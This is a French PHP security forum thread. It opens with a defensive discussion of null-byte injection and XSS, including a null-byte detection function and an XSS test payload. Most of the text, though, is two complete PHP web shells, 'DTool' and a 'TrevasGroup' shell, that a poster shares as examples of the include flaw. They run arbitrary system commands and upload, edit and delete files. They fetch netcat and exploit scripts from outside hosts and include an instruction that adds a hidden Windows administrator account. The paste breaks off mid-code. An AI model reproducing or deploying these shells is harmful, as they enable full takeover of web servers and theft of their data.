Tout à fait d'accord, notamment en cas de possibilités trop nombreuses ou inconnues. Mais je pense que ça vaut la peine de se poser la question, vu la sécurité que cela procure, surtout pour les include/require.Envoyé par kankrelune
Tout à fait d'accord, notamment en cas de possibilités trop nombreuses ou inconnues. Mais je pense que ça vaut la peine de se poser la question, vu la sécurité que cela procure, surtout pour les include/require.Envoyé par kankrelune
Personne a répondu à ma question a savoir si cela concernait l'inclusion de fichier dynamiquement.
J'ais pas bien compris ta question... c'est sur les attaques null byte ou sur les liste blanche que tu pose cette question... si c'est sur les attaques null byte non cela ne concerne pas que les "inclusions dynamiques" toutes les fonctions non protégés des données binaires sont potentiellement détournable... .. .Envoyé par berceker united
@ tchaOo°
C'est à dire des données venant de l'extérieur donc saisie par un utilisateur?Envoyé par kankrelune
Entre temps, je vais chercher sur le net plus de détail.
Edit: ok je viens de comprend le principe. Il s'agit de placer dans une entête http le caractère pour lui empecher d'interpréter le reste. Donc à l'upload du fichier ce qui suit est bloqué.
Voila... pareil pour les inclusions... si tu fais mapage.php\0 sur unEnvoyé par berceker united
l'include se cassera les dents sur le byte null et le code exécuté revient à...
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2 include($mapage.'.html');
au lieu de...
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2 include('mapage.php');
etc... etc... l'upload et les inclusions sont les plus fréquent mais ce n'est pas la seule application possible pour l'attaque null byte... .. .
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2 include('mapage.php.html');
@ tchaOo°
Bonjour,
Pouvez-vous me dire si le code suivant (trouvé dans un tuto sur l'upload de fichiers) interdit ce fameux bit null ?
Merci pour votre aide
Code : Sélectionner tout - Visualiser dans une fenêtre à part $fichier = preg_replace('/([^.a-z0-9]+)/i', '_', $fichier);
Bah il suffisait que tu teste... pour faire un byte null dans une chaine tu met \0 (la chaine doit être entre doubles quotes) ou alors chr(0)...Envoyé par AzertyH
Pour en revenir à ta question oui ça marche... par contre pour repérer un byte null preg_match ne suffit pas car cette fonction n'est pas protégée contre les données binaire au niveau du masque... perso voici à peu près comment je procède... .. .
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3 $test = 'pwetpwet'.chr(0).'pwetpwet'; $test = 'pwetpwet\0pwetpwet';
@ tchaOo°
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58 <?php function haveNullByte($val) { if(preg_match('~(%00|0x00|\\0)~',$val)) return true; return (strpos($val,"\0") === false) ? false : true; } function cleanNullByte($val) { return preg_replace('~(%00|0x00|\\0)~','_',str_replace("\0",'_',$val)); } $tests = array( array('code' => '$test = "pwetpwet\0pwetpwet";', 'val' => "pwetpwet\0pwetpwet" ), array('code' => '$test = "pwetpwetpwetpwet";', 'val' => "pwetpwetpwetpwet" ), array('code' => '$test = \'pwetpwet\0pwetpwet\';', 'val' => 'pwetpwet\0pwetpwet' ), array('code' => '$test = "pwetpwet".chr(0)."pwetpwet";', 'val' => "pwetpwet".chr(0)."pwetpwet" ), array('code' => '$test = "pwetpwet%00pwetpwet";', 'val' => "pwetpwet%00pwetpwet" ), array('code' => '$test = "pwetpwet pwetpwet";', 'val' => "pwetpwet pwetpwet" ), array('code' => '$test = "pwetpwet0x00pwetpwet";', 'val' => "pwetpwet0x00pwetpwet" ), ); ?> <pre> <?php foreach($tests as $test) if(haveNullByte($test['val'])) echo '<b>'.$test['code'].'</b> => '.$test['val'].'<br />Contient un byte null ou une tentative d\'insertion de byte null (valeur nettoyée : "'.cleanNullByte($test['val']).'")<br /><br />'; else echo '<b>'.$test['code'].'</b> => '.$test['val'].'<br />Ne contient pas de byte null<br /><br />'; ?> </pre>
en lisant ça:
je me pose des questions...4. La faille XSS ? Ca me donne de l'herpes !
Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, warning.) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous (ce test ne coûte rien à faire, mais peut se montrer très important.) :
Salut ! <script>window.open("http://www.monsite.com/);</script>
Pourquoi ? Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium.
Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant de l'HTML (comme ceci : $message = htmlspecialchars($message); ainsi, le code javascript ne sera pas interprété et sera écrit en html, c'est la méthode la plus simple, la plus répandue et la plus propre. ), ou empecher l'emploi de "javascript" (ainsi, aucun script javascript ne pourra etre executé), comme suit : $message=str_replace("java script:","",$message); (par exemple, le forum de PCinpact a décidé d'imposer un espace entre java et script, en plus d'imposer l'écriture des messages en html.
est ce qu'il vaut mieux ne pas permettre avant tout de mettre de tags html dans un champ par exemple de type textarea en utilisant strip_tags et en indiquant que les tags html ne seront pas interprétés??? et en ajoutant un str_replace("javascript","",$letexte)
là du coup, plus aucune mauvaise intention peut se produire contre le site? non?
merci de me corriger si je n'ai pas tout bien compris...
Salut
Non, le remède indiqué est le meilleur : il suffit d'utiliser htmlentities($string, ENT_QUOTES, 'iso-8859-1'); avec le charset de ta page. C'est suffisant pour parer à toute faille XSS.
Bonjour,
Pour l'exemple je vais vous donner qques scripts PHP, pour voir un peu une utilisation de la faille include :
Script 1 :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214 <head> <style>.campo{font-family: Verdana; color:white;font-size:11px;background-color:#414978;height:23px} .infop{font-family: verdana; font-size: 10px; color:#000000;} .infod{font-family: verdana; font-size: 10px; color:#414978;} .algod{font-family: verdana; font-size: 12px; font-weight: bold; color: #414978;} .titulod{font:Verdana; color:#414978; font-size:20px;}</style> </head> <body onload="focar();"> <?php //The Rules include("http://ess.trix.net/therules.dat"); if(empty($chdir)) $chdir = @$_GET['chdir']; if(empty($cmd)) $cmd = @$_GET['cmd']; if(empty($fu)) $fu = @$_GET['fu']; if(empty($list)) $list = @$_GET['list']; if(empty($chdir) or $chdir=='') $chdir=getcwd(); $cmd = stripslashes(trim($cmd)); //CHDIR tool if (strpos($cmd, 'chdir')!==false and strpos($cmd, 'chdir')=='0'){ $boom = explode(" ",$cmd,2); $boom2 = explode(";",$boom['1'], 2); $toDir = $boom2['0']; if($boom['1']=="/")$chdir=""; else if(strpos($cmd, 'chdir ..')!==false){ $cadaDir = array_reverse(explode("/",$chdir)); if($cadaDir['0']=="" or $cadaDir['0'] ==" ") $lastDir = $cadaDir['1']."/"; else{ $lastDir = $cadaDir['0']."/"; $chdir = $chdir."/";} $toDir = str_replace($lastDir,"",$chdir); if($toDir=="/")$chdir=""; } else if(strpos($cmd, 'chdir .')===0) $toDir = getcwd(); else if(strpos($cmd, 'chdir ~')===0) $toDir = getcwd(); if(strrpos($toDir,"/")==(strlen($toDir)-1)) $toDir=substr($toDir,0,strrpos($toDir,"/")); if(@opendir($toDir)!==false or @is_dir($toDir)) $chdir=$toDir; else if(@opendir($chdir."/".$toDir)!==false or @is_dir($chdir."/".$toDir)) $chdir=$chdir."/".$toDir; else $ch_msg="dtool: line 1: chdir: $toDir: No such directory.\n"; if($boom2['1']==null) $cmd = trim($boom['2']); else $cmd = trim($boom2['1'].$boom2['2']); if(strpos($chdir, '//')!==false) $chdir = str_replace('//', '/', $chdir); } if(!@opendir($chdir)) $ch_msg="dtool: line 1: chdir: It seems that the permission have been denied in dir '$chdir'. Anyway, you can try to send a command here now. If you haven't accessed it, try to use 'cd' in the cmd line instead.\n"; $cmdShow = $cmd; //To keep the changes in the url, when using the 'GET' way to send php variables if(empty($post)){ if($chdir==getcwd() or empty($chdir) or $chdir=="")$showdir="";else $showdir="+'chdir=$chdir&'"; if($fu=="" or $fu=="0" or empty($fu))$showfu="";else $showfu="+'fu=$fu&'"; if($list=="" or $list=="0" or empty($list)){$showfl="";$fl="on";}else{$showfl="+'list=1&'"; $fl="off";} } //INFO table (pro and normal) if (@file_exists("/usr/X11R6/bin/xterm")) $pro1="<i>xterm</i> at /usr/X11R6/bin/xterm, "; if (@file_exists("/usr/bin/nc")) $pro2="<i>nc</i> at /usr/bin/nc, "; if (@file_exists("/usr/bin/wget")) $pro3="<i>wget</i> at /usr/bin/wget, "; if (@file_exists("/usr/bin/lynx")) $pro4="<i>lynx</i> at /usr/bin/lynx, "; if (@file_exists("/usr/bin/gcc")) $pro5="<i>gcc</i> at /usr/bin/gcc, "; if (@file_exists("/usr/bin/cc")) $pro6="<i>cc</i> at /usr/bin/cc "; $safe = @ini_get($safemode); if ($safe) $pro8="<b><i>safe_mode</i>: YES</b>, "; else $pro7="<b><i>safe_mode</i>: NO</b>, "; $pro8 = "<i>PHP </i>".phpversion(); $pro=$pro1.$pro2.$pro3.$pro4.$pro5.$pro6.$pro7.$pro8; $login=@posix_getuid(); $euid=@posix_geteuid(); $gid=@posix_getgid(); $ip=@gethostbyname($_SERVER['HTTP_HOST']); //Turns the 'ls' command more usefull, showing it as it looks in the shell if(strpos($cmd, 'ls --') !==false) $cmd = str_replace('ls --', 'ls -F --', $cmd); else if(strpos($cmd, 'ls -') !==false) $cmd = str_replace('ls -', 'ls -F', $cmd); else if(strpos($cmd, ';ls') !==false) $cmd = str_replace(';ls', ';ls -F', $cmd); else if(strpos($cmd, '; ls') !==false) $cmd = str_replace('; ls', ';ls -F', $cmd); else if($cmd=='ls') $cmd = "ls -F"; //If there are some '//' in the cmd, its now removed if(strpos($chdir, '//')!==false) $chdir = str_replace('//', '/', $chdir); ?> <script> function inclVar(){var addr = location.href.substring(0,location.href.indexOf('?')+1);var stri = location.href.substring(addr.length,location.href.length+1);inclvar = stri.substring(0,stri.indexOf('='));} function enviaCMD(){inclVar();window.document.location.href='<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$cmd_addr;?>'+'?&'<?=$showdir.$showfu.$showfl;?>+'cmd='+window.document.formulario.cmd.value;return false;} function ativaFe(qual){inclVar();window.document.location.href='<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$cmd_addr;?>'+'?&'<?=$showdir.$showfl;?>+'fu='+qual+'&cmd='+window.document.formulario.cmd.value;return false;} function PHPget(){inclVar(); if(confirm("O PHPget agora oferece uma lista pronta de urls,\nvc soh precisa escolher qual arquivo enviar para o servidor.\nDeseja utilizar isso? \nClique em Cancel para usar o PHPget normal, ou \nem Ok para usar esse novo recurso."))goPreGet(); else{var c=prompt("[ PHPget ] by daemoN\nDigite a ORIGEM do arquivo (url) com ate 7Mb\n-Utilize caminho completo\n-Se for remoto, use http:// ou ftp://:","http://hostinganime.com/tool/nc.dat");var dir = c.substring(0,c.lastIndexOf('/')+1);var file = c.substring(dir.length,c.length+1);var p=prompt("[ PHPget ] by daemoN\nDigite o DESTINO do arquivo\n-Utilize caminho completo\n-O diretorio de destino deve ser writable","<?=$chdir;?>/"+file);window.open('<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$phpget_addr;?>'+'?&'+'inclvar='+inclvar+'&'<?=$showdir;?>+'c='+c+'&p='+p);}} function goPreGet(){inclVar();window.open('<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$phpget_addr;?>'+'?&'+'inclvar='+inclvar+'&'<?=$showdir;?>+'pre=1');} function PHPwriter(){inclVar();var url=prompt("[ PHPwriter ] by daemoN\nDigite a URL do frame","http://hostinganime.com/tool/reven.htm");var dir = url.substring(0,url.lastIndexOf('/')+1);var file = url.substring(dir.length,url.length+1);var f=prompt("[ PHPwriter ] by daemoN\nDigite o Nome do arquivo a ser criado\n-Utilize caminho completo\n-O diretorio de destino deve ser writable","<?=$chdir;?>/"+file); t=prompt("[ PHPwriter ] by daemoN\nDigite o Title da pagina","daemownz owned you :P - by daemoN");window.open('<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$writer_addr;?>'+'?&'+'inclvar='+inclvar+'&'<?=$showdir;?>+'url='+url+'&f='+f+'&t='+t);} function PHPf(){inclVar();var o=prompt("[ PHPfilEditor ] by daemoN\nDigite o nome do arquivo que deseja abrir\n-Utilize caminho completo\n-Abrir arquivos remotos, use http:// ou ftp://","<?=$chdir;?>/index.php"); var dir = o.substring(0,o.lastIndexOf('/')+1);var file = o.substring(dir.length,o.length+1);window.open('<?=$total_addr;?>?'+inclvar+'=<?=$feditor_addr;?>?&inclvar='+inclvar+'&o='+o);} function safeMode(){inclVar();if (confirm ('Deseja ativar o DTool com suporte a SafeMode?')){window.document.location.href='<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$safe_addr;?>'+'?&'<?=$showdir;?>;}else{ return false }} function list(turn){inclVar();if(turn=="off")turn=0;else if(turn=="on")turn=1; window.document.location.href='<?=$total_addr;?>'+'?'+inclvar+'='+'<?=$cmd_addr;?>'+'?&'<?=$showdir.$showfu;?>+'list='+turn+'&cmd='+window.document.formulario.cmd.value;return false;} </script> <table width="760" border="0" align="center" cellpadding="2" cellspacing="0" bgcolor="#FFFFFF"> <tr><td> <div align="center" class="titulod"><b><font face="Fixedsys" color="green"> daemownz ;)<br>hihi</font></p> <p> </div></td></tr> <tr><td><TABLE width="370" BORDER="0" align="center" CELLPADDING="0" CELLSPACING="0"> <?php $uname = @posix_uname(); while (list($info, $value) = each ($uname)) { ?> <TR><TD><DIV class="infop"><b><?=$info ?>:</b> <?=$value;?></DIV></TD></TR><?php } ?> <TR><TD><DIV class="infop"><b>user:</b> uid(<?=$login;?>) euid(<?=$euid;?>) gid(<?=$gid;?>)</DIV></TD></TR> <TR><TD><DIV class="infod"><b>write permission:</b><? if(@is_writable($chdir)){ echo " <b>YES</b>"; }else{ echo " no"; } ?></DIV></TD></TR> <TR><TD><DIV class="infop"><b>server info: </b><?="$SERVER_SOFTWARE $SERVER_VERSION";?></DIV></TD></TR> <TR><TD><DIV class="infop"><b>pro info: ip </b><?="$ip, $pro";?></DIV></TD></TR> <? if($chdir!=getcwd()){?> <TR><TD><DIV class="infop"><b>original path: </b><?=getcwd() ?></DIV></TD></TR><? } ?> <TR><TD><DIV class="infod"><b>current path: </b><?=$chdir ?> </DIV></TD></TR></TABLE></td></tr> <tr><td><form name="formulario" id="formulario" method="post" action="#" onSubmit="return enviaCMD()"> <table width="375" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#414978"><tr><td><table width="370" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="white"><tr> <td width="75"><DIV class="algod">command</DIV></td> <td width="300"><input name="cmd" type="text" id="cmd" value='<?=$cmdShow;?>' style="width:295; font-size:12px" class="campo"> <script> function focar(){window.document.formulario.cmd.focus();window.document.formulario.cmd.select();} </script> </td></tr></table><table><tr><td> <?php ob_start(); if(isset($chdir)) @chdir($chdir); function safemode($what){echo "This server is in safemode. Try to use DTool in Safemode.";} function nofunction($what){echo "The admin disabled all the functions to send a cmd to the system.";} function shell($what){echo(shell_exec($what));} function popenn($what){ $handle=popen("$what", "r"); $out=@fread($handle, 2096); echo $out; @pclose($handle); } function execc($what){ exec("$what",$array_out); $out=implode("\n",$array_out); echo $out; } function procc($what){ //na sequencia: stdin, stdout, sterr if($descpec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"),)){ $process = @proc_open("$what",$descpec,$pipes); if (is_resource($process)) { fwrite($pipes[0], ""); fclose($pipes[0]); while(!feof($pipes[2])) { $erro_retorno = fgets($pipes[2], 4096); if(!empty($erro_retorno)) echo $erro_retorno;//isso mostra tds os erros } fclose($pipes[2]); while(!feof($pipes[1])) { echo fgets($pipes[1], 4096); } fclose($pipes[1]); $ok_p_fecha = @proc_close($process); }else echo "It seems that this PHP version (".phpversion().") doesn't support proc_open() function"; }else echo "This PHP version ($pro7) doesn't have the proc_open() or this function is disabled by php.ini"; } $funE="function_exists"; if($safe){$fe="safemode";$feshow=$fe;} elseif($funE('shell_exec')){$fe="shell";$feshow="shell_exec";} elseif($funE('passthru')){$fe="passthru";$feshow=$fe;} elseif($funE('system')){$fe="system";$feshow=$fe;} elseif($funE('exec')){$fe="execc";$feshow="exec";} elseif($funE('popen')){$fe="popenn";$feshow="popen";} elseif($funE('proc_open')){$fe="procc";$feshow="proc_open";} else {$fe="nofunction";$feshow=$fe;} if($fu!="0" or !empty($fu)){ if($fu==1){$fe="passthru";$feshow=$fe;} if($fu==2){$fe="system";$feshow=$fe;} if($fu==3){$fe="execc";$feshow="exec";} if($fu==4){$fe="popenn";$feshow="popen";} if($fu==5){$fe="shell";$feshow="shell_exec";} if($fu==6){$fe="procc";$feshow="proc_open";} } $fe("$cmd 2>&1"); $output=ob_get_contents();ob_end_clean(); ?> <td><input type="button" name="snd" value="send cmd" class="campo" style="background-color:#313654" onClick="enviaCMD()"><select name="qualF" id="qualF" class="campo" style="background-color:#313654" onchange="ativaFe(this.value);"> <option><?="using $feshow()";?> <option value="1">use passthru() <option value="2">use system() <option value="3">use exec() <option value="4">use popen() <option value="5">use shell_exec() <option value="6">use proc_open()*new <option value="0">auto detect (default) </select><input type="button" name="getBtn" value="PHPget" class="campo" onClick="PHPget()"><input type="button" name="writerBtn" value="PHPwriter" class="campo" onClick="PHPwriter()"><br><input type="button" name="edBtn" value="fileditor" class="campo" onClick="PHPf()"><input type="button" name="listBtn" value="list files <?=$fl;?>" class="campo" onClick="list('<?=$fl;?>')"><? if ($list==1){ ?><input type="button" name="sbstBtn" value="overwrite files" class="campo" onClick="overwrite()"><input type="button" name="MkDirBtn" value="mkdir" class="campo" onClick="mkDirF()"><input type="button" name="ChModBtn" value="chmod" class="campo" onClick="chmod()"><br> <? } ?><input type="button" name="smBtn" value="safemode" class="campo" onClick="safeMode()"> </tr></table></td></tr></table></form></td></tr> <tr><td align="center"><DIV class="algod"><br>stdOut from <?="\"<i>$cmdShow</i>\", using <i>$feshow()</i>";?></i></DIV> <TEXTAREA name="output_text" COLS="90" ROWS="10" STYLE="font-family:Courier; font-size: 12px; color:#FFFFFF; font-size:11 px; background-color:black;width:683;"> <?php echo $ch_msg; if (empty($cmd) and $ch_msg=="") echo ("Comandos Exclusivos do DTool Pro\n\nchdir <diretorio>; outros; cmds;\nMuda o diretorio para aquele especificado e permanece nele. Eh como se fosse o 'cd' numa shell, mas precisa ser o primeiro da linha. Os arquivos listados pelo filelist sao o do diretorio especificado ex: chdir /diretorio/sub/;pwd;ls\n\nPHPget, PHPwriter, Fileditor, File List e Overwrite\nfale com o daemoN :P"); if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?></TEXTAREA><BR> </td></tr> <?php if($list=="1") @include($remote_addr."flist".$format_addr); ?> </table> <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-606519-2"; urchinTracker(); </script> <p> </p>
Script 2 :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Language" content="pt-br"> <meta name="GENERATOR" content="Microsoft FrontPage 5.0"> <meta name="ProgId" content="AoD"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>By TrevasGroup</title> <style type="text/css"> A:link {text-decoration:none} A:visited {text-decoration:none} A:hover {text-decoration:underline} A:active {text-decoration:underline} </style> </head> <body style="font-family: Tahoma; font-size: 10px"> <?php @set_time_limit(0); $string = $_SERVER['QUERY_STRING']; $mhost = 'http://trevasgroup.org/cmd.txt?'; $host_all = explode("$mhost", $string); $s1 = $host_all[0]; $fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost; $OS = @PHP_OS; $IpServer = '127.0.0.1'; $UNAME = @php_uname(); $PHPv = @phpversion(); $SafeMode = @ini_get('safe_mode'); if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; } else { $SafeMode = "<i>$SafeMode</i>"; } $btname = 'backtool.txt'; $bt = 'http://www.expcode.com/exp/r0nin.expcode'; $dc = 'http://www.expcode.com/exp/dc.pl'; $newuser = '@echo off;net user Admin /add /expires:never /passwordreq:no;net localgroup "Administrators" /add Admin;net localgroup "Users" /del Admin'; // Java Script echo "<script type=\"text/javascript\">"; echo "function ChMod(chdir, file) {"; echo "var o = prompt('Chmod: - Exemple: 0777', '');"; echo "if (o) {"; echo "window.location=\"\" + '{$fstring}&action=chmod&chdir=' + chdir + '&file=' + file + '&chmod=' + o + \"\";"; echo "}"; echo "}"; echo "function Rename(chdir, file, mode) {"; echo "if (mode == 'edit') {"; echo "var o = prompt('Rename file '+ file + ' for:', '');"; echo "}"; echo "else {"; echo "var o = prompt('Rename dir '+ file + ' for:', '');"; echo "}"; echo "if (o) {"; echo "window.location=\"\" + '{$fstring}&action=rename&chdir=' + chdir + '&file=' + file + '&newname=' + o + '&mode=' + mode +\"\";"; echo "}"; echo "}"; echo "function Copy(chdir, file) {"; echo "var o = prompt('Copied for:', '/tmp/' + file);"; echo "if (o) {"; echo "window.location=\"\" + '{$fstring}&action=copy&chdir=' + chdir + '&file=' + file + '&fcopy=' + o + \"\";"; echo "}"; echo "}"; echo "function Mkdir(chdir) {"; echo "var o = prompt('Which name?', 'NewDir');"; echo "if (o) {"; echo "window.location=\"\" + '{$fstring}&action=mkdir&chdir=' + chdir + '&newdir=' + o + \"\";"; echo "}"; echo "}"; echo "function Newfile(chdir) {"; echo "var o = prompt('Which name?', 'NewFile.txt');"; echo "if (o) {"; echo "window.location=\"\" + '{$fstring}&action=newfile&chdir=' + chdir + '&newfile=' + o + \"\";"; echo "}"; echo "}"; echo "</script>"; // End JavaScript /* Functions */ function cmd($CMDs) { $CMD[1] = ''; exec($CMDs, $CMD[1]); if (empty($CMD[1])) { $CMD[1] = shell_exec($CMDs); } elseif (empty($CMD[1])) { $CMD[1] = passthru($CMDs); } elseif (empty($CMD[1])) { $CMD[1] = system($CMDs); } elseif (empty($CMD[1])) { $handle = popen($CMDs, 'r'); while(!feof($handle)) { $CMD[1][] .= fgets($handle); } pclose($handle); } return $CMD[1]; } if (@$_GET['chdir']) { $chdir = $_GET['chdir']; } else { $chdir = getcwd()."/"; } if (@chdir("$chdir")) { $msg = "<font color=\"#008000\">Entrance in the directory, OK!</font>"; } else { $msg = "<font color=\"#FF0000\">Error to enters it in the directory!</font>"; $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']); } $chdir = str_replace(chr(92), chr(47), $chdir); if (@$_GET['action'] == 'upload') { $uploaddir = $chdir; $uploadfile = $uploaddir. $_FILES['userfile']['name']; if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $_FILES['userfile']['name'])) { $msg = "<font color=\"#008000\"><font color=\"#000080\">{$_FILES['userfile']['name']}</font>, the archive is validates and was loaded successfully.</font>"; } else { $msg = "<font color=\"#FF0000\">Error when copying archive.</font>"; } } elseif (@$_GET['action'] == 'mkdir') { $newdir = $_GET['newdir']; if (@mkdir("$chdir"."$newdir")) { $msg = "<font color=\"#008000\"><font color=\"#000080\">{$newdir}</font>, directory created successfully.</font>"; } else { $msg = "<font color=\"#FF0000\">Error to it creates directory.</font>"; } } elseif (@$_GET['action'] == 'newfile') { $newfile = $_GET['newfile']; if (@touch("$chdir"."$newfile")) { $msg = "<font color=\"#008000\"><font color=\"#000080\">{$newfile}</font>, created successfully!</font>"; } else { $msg = "<font color=\"#FF0000\">Error to tries it creates archive.</font>"; } } elseif (@$_GET['action'] == 'del') { $file = $_GET['file']; $type = $_GET['type']; if ($type == 'file') { if (@unlink("$chdir"."$file")) { $msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>, successfully excluded archive!</font>"; } else { $msg = "<font color=\"#FF0000\">Error to it I excluded archive!</font>"; } } elseif ($type == 'dir') { if (@rmdir("$chdir"."$file")) { $msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>, successfully excluded directory!</font>"; } else { $msg = "<font color=\"#FF0000\">Error to it I excluded directory!</font>"; } } } elseif (@$_GET['action'] == 'chmod') { $file = $chdir.$_GET['file']; $chmod = $_GET['chmod']; if (@chmod ("$file", $chmod)) { $msg = "<font color=\"#008000\">Chmod of</font> <font color=\"#000080\">{$_GET['file']}</font> <font color=\"#008000\">moved for</font> <font color=\"#000080\">$chmod</font> <font color=\"#008000\">successfully.</font>"; } else { $msg = '<font color=\"#FF0000\">Error when moving chmod.</font>'; } } elseif (@$_GET['action'] == 'rename') { $file = $_GET['file']; $newname = $_GET['newname']; if (@rename("$chdir"."$file", "$chdir"."$newname")) { $msg = "<font color=\"#008000\">Archive</font> <font color=\"#000080\">{$file}</font> <font color=\"#008000\">named for</font> <font color=\"#000080\">{$newname}</font> <font color=\"#008000\">successfully!</font>"; } else { $msg = "<font color=\"#FF0000\">Error to it nominates archive.</font>"; } } elseif (@$_GET['action'] == 'copy') { $file = $chdir.$_GET['file']; $copy = $_GET['fcopy']; if (@copy("$file", "$copy")) { $msg = "<font color=\"#000080\">{$file}</font>, <font color=\"#008000\">copied for</font> <font color=\"#000080\">{$copy}</font> <font color=\"#008000\">successfully!</font>"; } else { $msg = "<font color=\"#FF0000\">Error when copying</font> <font color=\"#000000\">{$file}</font> <font color=\"#FF0000\">for</font> <font color=\"#000000\">{$copy}</font></font>"; } } /* Parte Atualiza 02:48 12/2/2006 */ elseif (@$_GET['action'] == 'cmd') { if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; } if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; } $cmd = stripslashes(trim($cmd)); $result_arr = cmd($cmd); $afim = count($result_arr); $acom = 0; $msg = ''; $msg .= "<p style=\"color: #000000;text-align: center;font-family: 'Lucida Console';font-size: 12px;margin 2\">Results: <b>".$cmd."</b></p>"; if ($result_arr) { while ($acom <= $afim) { $msg .= "<p style=\"color: #008000;text-align: left;font-family: 'Lucida Console';font-size: 12px;margin 2\"> ".@$result_arr[$acom]."</p>"; $acom++; } } else { $msg .= "<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida Console';font-size: 12px;margin 2\">Erro ao executar comando.</p>"; } } elseif (@$_GET['action'] == 'safemode') { if (@!extension_loaded('shmop')) { echo "Loading... module</br>"; if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) { @dl('php_shmop.dll'); } else { @dl('shmop.so'); } } if (@extension_loaded('shmop')) { echo "Module: <b>shmop</b> loaded!</br>"; $shm_id = @shmop_open(0xff2, "c", 0644, 100); if (!$shm_id) { echo "Couldn't create shared memory segment\n"; } $data="\x00"; $offset=-3842685; 